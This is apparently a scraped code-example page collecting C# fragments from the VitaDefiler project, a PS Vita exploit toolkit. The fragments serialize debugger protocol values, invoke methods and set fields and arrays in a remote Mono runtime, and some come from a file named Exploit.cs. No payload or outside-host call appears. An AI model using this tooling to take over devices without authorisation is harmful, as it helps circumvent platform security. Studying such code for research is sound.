                    case ElementType.Char:
                        WriteInt((int)(char)v.Value);
                        break;
                    case ElementType.I1:
                        WriteInt((int)(sbyte)v.Value);
                        break;
                    case ElementType.U1:
                        WriteInt((int)(byte)v.Value);
                        break;
                    case ElementType.I2:
                        WriteInt((int)(short)v.Value);
                        break;
                    case ElementType.U2:
                        WriteInt((int)(ushort)v.Value);
                        break;
                    case ElementType.I4:
                        WriteInt((int)(int)v.Value);
                        break;
                    case ElementType.U4:
                        WriteInt((int)(uint)v.Value);
                        break;
                    case ElementType.I8:
                        WriteLong((long)(long)v.Value);
                        break;
                    case ElementType.U8:
                        WriteLong((long)(ulong)v.Value);
                        break;
                    case ElementType.R4:
                        WriteFloat((float)v.Value);
                        break;
                    case ElementType.R8:
                        WriteDouble((double)v.Value);
                        break;
                    case ElementType.String:
                    case ElementType.SzArray:
                    case ElementType.Class:
                    case ElementType.Array:
                    case ElementType.Object:
                        WriteId(v.Objid);
                        break;
                    case ElementType.ValueType:
                        // FIXME:
                        if (v.IsEnum)
                            throw new NotImplementedException();
                        WriteByte(0);
                        WriteId(v.Klass);
                        WriteInt(v.Fields.Length);
                        for (int i = 0; i < v.Fields.Length; ++i)
                            WriteValue(v.Fields[i]);
                        break;
                    case (ElementType)ValueTypeId.VALUE_TYPE_ID_NULL:
                        break;
                    default:
                        throw new NotImplementedException();
                }

                return this;
            }
コード例 #24
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
        public ValueImpl RunMethod(long methodid, ValueImpl thisval, ValueImpl[] param)
        {
            #if USE_UNITY
            bool paused = true; // It just doesn't work if 'false' is passed in for Unity...
            #else
            bool paused = false;
            #endif

            return RunMethod(methodid, thisval, param, paused);
        }
コード例 #25
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
 public PacketWriter WriteValues(ValueImpl[] values)
 {
     for (int i = 0; i < values.Length; ++i)
         WriteValue(values[i]);
     return this;
 }
コード例 #26
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
 public void SetArray(long objid, ValueImpl[] values)
 {
     conn.Array_SetValues(objid, 0, values);
 }
コード例 #27
0
ファイル: PSMSupport.cs プロジェクト: zeest/VitaDefiler
 internal ValueImpl[] Array_GetValues(long id, int index, int len)
 {
     var r = SendReceive(CommandSet.ARRAY_REF, (int)CmdArrayRef.GET_VALUES, new PacketWriter().WriteId(id).WriteInt(index).WriteInt(len));
     ValueImpl[] res = new ValueImpl[len];
     for (int i = 0; i < len; ++i)
         res[i] = r.ReadValue();
     return res;
 }
コード例 #28
0
ファイル: Exploit.cs プロジェクト: hyo2012/VitaDefiler
        public void SetField(bool incorlib, string typename, string fieldname, ValueImpl value)
        {
            long assembly = incorlib ? corlibid : assid;
            long typeid = conn.Assembly_GetType(assembly, typename, false);
            string[] f_names;
            long[] f_types;
            int[] f_attrs;
            long[] fields = conn.Type_GetFields(typeid, out f_names, out f_types, out f_attrs);
            long targetfield = -1;

            int i;
            for (i = 0; i < f_names.Length; i++)
            {
                if (f_names[i] == fieldname)
                {
                    targetfield = fields[i];
                    break;
                }
            }
            if (targetfield < 0)
            {
                Console.Error.WriteLine("Cannot find field '{0}'", fieldname);
                return;
            }
            conn.Type_SetValues(typeid, new long[] { targetfield }, new ValueImpl[] { value });
        }
コード例 #29
0
ファイル: USB.cs プロジェクト: joshbarnettlloyd/VitaDefiler
 public ValueImpl RunMethod(long methodid, ValueImpl thisval, ValueImpl[] param)
 {
     return RunMethod(methodid, thisval, param, false);
 }